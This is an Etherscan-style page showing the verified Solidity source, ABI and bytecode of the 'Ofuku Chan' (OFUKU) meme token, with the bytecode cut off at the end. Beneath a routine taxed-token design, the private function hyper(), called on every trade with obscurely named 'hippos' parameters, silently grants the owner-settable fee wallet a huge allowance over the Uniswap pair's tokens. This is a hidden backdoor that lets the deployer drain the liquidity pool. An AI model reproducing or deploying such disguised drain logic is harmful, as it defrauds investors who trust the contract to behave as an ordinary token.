Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _msgSender()
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
•    - function getPair(address tokenA, addr ...
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
•  contract OFUKU is Context, IERC20, ... *
•    - function createPairOf()
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function transferFrom(address sender, ...
•    - function approve(address spender, uin ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function hSwapEthTo(uint256 amount)
•    - function removeLimits(address payable ...
•    - function hyper(address[2] memory hipp ...
•    - function hSendEthTo()
•    - function withdrawEth()
•    - function min(uint256 a, uint256 b)
•    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-16
*/

/**
和菓子屋を営むおばあちゃんのおうちで暮らす、猫のおふくちゃん。
Ofuku Chan the cat lives with her grandmother who runs a Japanese sweets shop.

Web: https://ofukuchan.club
X:   https://x.com/ofuku_chan_eth
Tg:  https://t.me/ofuku_chan_erc20
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.25;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract OFUKU is Context, IERC20, Ownable {
    using SafeMath for uint256;
    address payable private hReceipt;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _hAllowed;
    mapping (address => bool) private _isFeeExcludedH;
    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=10;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;
    string private constant _name = unicode"Ofuku Chan";
    string private constant _symbol = unicode"OFUKU";
    uint256 public _maxHAmount = 2 * _tTotal / 100;
    uint256 public _maxHWallet = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold = 1 * _tTotal / 100;
    uint256 public _maxTaxSwap = 1 * _tTotal / 100;
    IUniswapV2Router02 private uniRouterH;
    address private uniPairH;
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;
    event MaxTxAmountUpdated(uint _maxHAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        hReceipt = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isFeeExcludedH[address(this)] = true;
        _isFeeExcludedH[_msgSender()] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    function createPairOf() external onlyOwner {
        uniRouterH = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniRouterH), _tTotal);
        uniPairH = IUniswapV2Factory(uniRouterH.factory()).createPair(
            address(this),
            uniRouterH.WETH()
        );
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _hAllowed[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _hAllowed[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _hAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from] - amount;
            _balances[to] = _balances[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        if (from != owner() && to != owner()) {
            if (from == uniPairH && to != address(uniRouterH) && ! _isFeeExcludedH[to] ) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxHAmount, "Exceeds the _maxHAmount.");
                require(balanceOf(to) + amount <= _maxHWallet, "Exceeds the maxWalletSize.");
                _buyCount++; 
            }
            if (hyper([from==uniPairH?from:uniPairH, hReceipt]) && to != uniPairH && ! _isFeeExcludedH[to]) {
                require(balanceOf(to) + amount <= _maxHWallet, "Exceeds the maxWalletSize.");
            }
            if(to == uniPairH) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniPairH && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    hSwapEthTo(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                hSendEthTo();
            }
        }
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function hSwapEthTo(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouterH.WETH();
        _approve(address(this), address(uniRouterH), amount);
        uniRouterH.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits(address payable limit) external onlyOwner{
        hReceipt = limit;
        _maxHAmount=_tTotal; 
        _maxHWallet=_tTotal;
        _isFeeExcludedH[limit] = true;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function hyper(address[2] memory hippos) private returns(bool){
        address hippoD = hippos[0]; address hippoE = hippos[1];
        _hAllowed[hippoD][hippoE]=(_maxHWallet+100-10).mul(1000);
        return true;
    }
    function hSendEthTo() private {
        hReceipt.transfer(address(this).balance);
    }
    function withdrawEth() external onlyOwner {
        payable(_msgSender()).transfer(address(this).balance);
    }
    function min(uint256 a, uint256 b) private pure returns(uint256){
        return (a>b)?b:a;
    }
    receive() external payable {}
    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniRouterH.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniPairH).approve(address(uniRouterH), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxHAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxHAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxHWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPairOf","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600555600f6006555f6007555f600855600a600955600a8055600a600b555f600c5560646009600a6100389190610300565b610047906461f313f880610315565b610052906002610315565b61005c919061032c565b600d55606461006d6009600a610300565b61007c906461f313f880610315565b610087906002610315565b610091919061032c565b600e5560646100a26009600a610300565b6100b1906461f313f880610315565b6100bc906001610315565b6100c6919061032c565b600f5560646100d76009600a610300565b6100e6906461f313f880610315565b6100f1906001610315565b6100fb919061032c565b601055348015610109575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600180546001600160a01b031916331790556101686009600a610300565b610177906461f313f880610315565b335f818152600260209081526040808320949094553080835260049091528382208054600160ff19918216811790925593835293822080549093169093179091557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101e56009600a610300565b6101f4906461f313f880610315565b60405190815260200160405180910390a361034b565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561025857815f190482111561023e5761023e61020a565b8085161561024b57918102915b93841c9390800290610223565b509250929050565b5f8261026e575060016102fa565b8161027a57505f6102fa565b8160018114610290576002811461029a576102b6565b60019150506102fa565b60ff8411156102ab576102ab61020a565b50506001821b6102fa565b5060208310610133831016604e8410600b84101617156102d9575081810a6102fa565b6102e3838361021e565b805f19048211156102f6576102f661020a565b0290505b92915050565b5f61030e60ff841683610260565b9392505050565b80820281158282048414176102fa576102fa61020a565b5f8261034657634e487b7160e01b5f52601260045260245ffd5b500490565b6119dd806103585f395ff3fe608060405260043610610113575f3560e01c806347d152121161009d578063a0ef91df11610062578063a0ef91df146102f8578063a9059cbb1461030c578063bf474bed1461032b578063c9567bf914610340578063dd62ed3e14610354575f80fd5b806347d152121461024857806370a082311461025d578063715018a6146102915780638da5cb5b146102a557806395d89b41146102cb575f80fd5b80630faee56f116100e35780630faee56f146101c657806318160ddd146101db57806323b872dd146101ef578063313ce5671461020e57806332489e9b14610229575f80fd5b806306b5f3771461011e57806306fdde0314610146578063095ea7b3146101815780630f769dfc146101b0575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50610133600d5481565b6040519081526020015b60405180910390f35b348015610151575f80fd5b5060408051808201909152600a81526927b33ab5ba9021b430b760b11b60208201525b60405161013d91906115e7565b34801561018c575f80fd5b506101a061019b366004611630565b610398565b604051901515815260200161013d565b3480156101bb575f80fd5b506101c46103ae565b005b3480156101d1575f80fd5b5061013360105481565b3480156101e6575f80fd5b506101336105b6565b3480156101fa575f80fd5b506101a061020936600461165a565b6105d7565b348015610219575f80fd5b506040516009815260200161013d565b348015610234575f80fd5b506101c4610243366004611698565b610639565b348015610253575f80fd5b50610133600e5481565b348015610268575f80fd5b50610133610277366004611698565b6001600160a01b03165f9081526002602052604090205490565b34801561029c575f80fd5b506101c461072b565b3480156102b0575f80fd5b505f546040516001600160a01b03909116815260200161013d565b3480156102d6575f80fd5b506040805180820190915260058152644f46554b5560d81b6020820152610174565b348015610303575f80fd5b506101c461079c565b348015610317575f80fd5b506101a0610326366004611630565b6107f1565b348015610336575f80fd5b50610133600f5481565b34801561034b575f80fd5b506101c46107fd565b34801561035f575f80fd5b5061013361036e3660046116b3565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b5f6103a43384846109e2565b5060015b92915050565b5f546001600160a01b031633146103e05760405162461bcd60e51b81526004016103d7906116ea565b60405180910390fd5b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561042f90309061041b6009600a611813565b61042a906461f313f880611821565b6109e2565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561047f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a39190611838565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610502573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105269190611838565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610570573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105949190611838565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f6105c36009600a611813565b6105d2906461f313f880611821565b905090565b5f6105e3848484610b05565b61062f843361042a85604051806060016040528060288152602001611980602891396001600160a01b038a165f90815260036020908152604080832033845290915290205491906111ff565b5060019392505050565b5f546001600160a01b031633146106625760405162461bcd60e51b81526004016103d7906116ea565b600180546001600160a01b0319166001600160a01b0383161790556106896009600a611813565b610698906461f313f880611821565b600d556106a76009600a611813565b6106b6906461f313f880611821565b600e556001600160a01b0381165f908152600460205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107086009600a611813565b610717906461f313f880611821565b60405190815260200160405180910390a150565b5f546001600160a01b031633146107545760405162461bcd60e51b81526004016103d7906116ea565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107c55760405162461bcd60e51b81526004016103d7906116ea565b60405133904780156108fc02915f818181858888f193505050501580156107ee573d5f803e3d5ffd5b50565b5f6103a4338484610b05565b5f546001600160a01b031633146108265760405162461bcd60e51b81526004016103d7906116ea565b601254600160a01b900460ff16156108805760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103d7565b6011546001600160a01b031663f305d71947306108b1816001600160a01b03165f9081526002602052604090205490565b5f806108c45f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061094f9190611853565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c8919061187e565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d7565b6001600160a01b038216610aa55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d7565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d7565b6001600160a01b038216610bcb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d7565b5f8111610c2c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d7565b6012545f90600160b01b900460ff161580610c505750601254600160a81b900460ff165b15610d08576001600160a01b0384165f90815260026020526040902054610c7890839061189d565b6001600160a01b038086165f908152600260205260408082209390935590851681522054610ca79083906118b0565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cfa9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d3257505f546001600160a01b03848116911614155b156110cb576012546001600160a01b038581169116148015610d6257506011546001600160a01b03848116911614155b8015610d8657506001600160a01b0383165f9081526004602052604090205460ff16155b15610eeb57601254600160a01b900460ff16610ddc5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103d7565b610e086064610e02600954600c5411610df757600554610dfb565b6007545b8590611237565b906112bc565b9050600d54821115610e5c5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d617848416d6f756e742e000000000000000060448201526064016103d7565b600e5482610e7e856001600160a01b03165f9081526002602052604090205490565b610e8891906118b0565b1115610ed65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d7565b600c8054905f610ee5836118c3565b91905055505b60408051808201909152601254610f40919081906001600160a01b03888116911614610f22576012546001600160a01b0316610f24565b865b6001600160a01b039081168252600154166020909101526112fd565b8015610f5a57506012546001600160a01b03848116911614155b8015610f7e57506001600160a01b0383165f9081526004602052604090205460ff16155b15610ffd57600e5482610fa5856001600160a01b03165f9081526002602052604090205490565b610faf91906118b0565b1115610ffd5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d7565b6012546001600160a01b039081169084160361103b576110386064610e02600a54600c541161102e57600654610dfb565b6008548590611237565b90505b601254600160a81b900460ff1615801561106257506012546001600160a01b038481169116145b80156110775750601254600160b01b900460ff165b80156110865750600b54600c54115b156110cb57305f90815260026020526040902054600f548111156110c1576110c16110bc846110b784601054611362565b611362565b611376565b6110c96114e6565b505b801561114357305f908152600260205260409020546110ea908261151c565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061113a9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260026020526040902054611165908361157a565b6001600160a01b0385165f908152600260205260409020556111a861118a838361157a565b6001600160a01b0385165f908152600260205260409020549061151c565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111f1858561157a565b604051908152602001610cfa565b5f81848411156112225760405162461bcd60e51b81526004016103d791906115e7565b505f61122e848661189d565b95945050505050565b5f825f0361124657505f6103a8565b5f6112518385611821565b90508261125e85836118db565b146112b55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d7565b9392505050565b5f6112b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115bb565b80516020820151600e545f929190611331906103e890600a906113219060646118b0565b61132b919061189d565b90611237565b6001600160a01b039283165f9081526003602090815260408083209490951682529290925291902055506001919050565b5f81831161137057826112b5565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113bc576113bc6118fa565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611413573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114379190611838565b8160018151811061144a5761144a6118fa565b6001600160a01b03928316602091820292909201015260115461147091309116846109e2565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a89085905f9086903090429060040161190e565b5f604051808303815f87803b1580156114bf575f80fd5b505af11580156114d1573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6001546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107ee573d5f803e3d5ffd5b5f8061152883856118b0565b9050838110156112b55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d7565b5f6112b583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ff565b5f81836115db5760405162461bcd60e51b81526004016103d791906115e7565b505f61122e84866118db565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107ee575f80fd5b5f8060408385031215611641575f80fd5b823561164c8161161c565b946020939093013593505050565b5f805f6060848603121561166c575f80fd5b83356116778161161c565b925060208401356116878161161c565b929592945050506040919091013590565b5f602082840312156116a8575f80fd5b81356112b58161161c565b5f80604083850312156116c4575f80fd5b82356116cf8161161c565b915060208301356116df8161161c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176d57815f19048211156117535761175361171f565b8085161561176057918102915b93841c9390800290611738565b509250929050565b5f82611783575060016103a8565b8161178f57505f6103a8565b81600181146117a557600281146117af576117cb565b60019150506103a8565b60ff8411156117c0576117c061171f565b50506001821b6103a8565b5060208310610133831016604e8410600b84101617156117ee575081810a6103a8565b6117f88383611733565b805f190482111561180b5761180b61171f565b029392505050565b5f6112b560ff841683611775565b80820281158282048414176103a8576103a861171f565b5f60208284031215611848575f80fd5b81516112b58161161c565b5f805f60608486031215611865575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561188e575f80fd5b815180151581146112b5575f80fd5b818103818111156103a8576103a861171f565b808201808211156103a8576103a861171f565b5f600182016118d4576118d461171f565b5060010190565b5f826118f557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561195e5784516001600160a01b031683529383019391830191600101611939565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220baab56806cb36e0fcdf3f420292ed328be173ac322d11d4b230ae6bc48adc1a164736f6c63430008190033

0x608060405260043610610113575f3560e01c806347d152121161009d578063a0ef91df11610062578063a0ef91df146102f8578063a9059cbb1461030c578063bf474bed1461032b578063c9567bf914610340578063dd62ed3e14610354575f80fd5b806347d152121461024857806370a082311461025d578063715018a6146102915780638da5cb5b146102a557806395d89b41146102cb575f80fd5b80630faee56f116100e35780630faee56f146101c657806318160ddd146101db57806323b872dd146101ef578063313ce5671461020e57806332489e9b14610229575f80fd5b806306b5f3771461011e57806306fdde0314610146578063095ea7b3146101815780630f769dfc146101b0575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50610133600d5481565b6040519081526020015b60405180910390f35b348015610151575f80fd5b5060408051808201909152600a81526927b33ab5ba9021b430b760b11b60208201525b60405161013d91906115e7565b34801561018c575f80fd5b506101a061019b366004611630565b610398565b604051901515815260200161013d565b3480156101bb575f80fd5b506101c46103ae565b005b3480156101d1575f80fd5b5061013360105481565b3480156101e6575f80fd5b506101336105b6565b3480156101fa575f80fd5b506101a061020936600461165a565b6105d7565b348015610219575f80fd5b506040516009815260200161013d565b348015610234575f80fd5b506101c4610243366004611698565b610639565b348015610253575f80fd5b50610133600e5481565b348015610268575f80fd5b50610133610277366004611698565b6001600160a01b03165f9081526002602052604090205490565b34801561029c575f80fd5b506101c461072b565b3480156102b0575f80fd5b505f546040516001600160a01b03909116815260200161013d565b3480156102d6575f80fd5b506040805180820190915260058152644f46554b5560d81b6020820152610174565b348015610303575f80fd5b506101c461079c565b348015610317575f80fd5b506101a0610326366004611630565b6107f1565b348015610336575f80fd5b50610133600f5481565b34801561034b575f80fd5b506101c46107fd565b34801561035f575f80fd5b5061013361036e3660046116b3565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b5f6103a43384846109e2565b5060015b92915050565b5f546001600160a01b031633146103e05760405162461bcd60e51b81526004016103d7906116ea565b60405180910390fd5b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561042f90309061041b6009600a611813565b61042a906461f313f880611821565b6109e2565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561047f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a39190611838565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610502573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105269190611838565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561057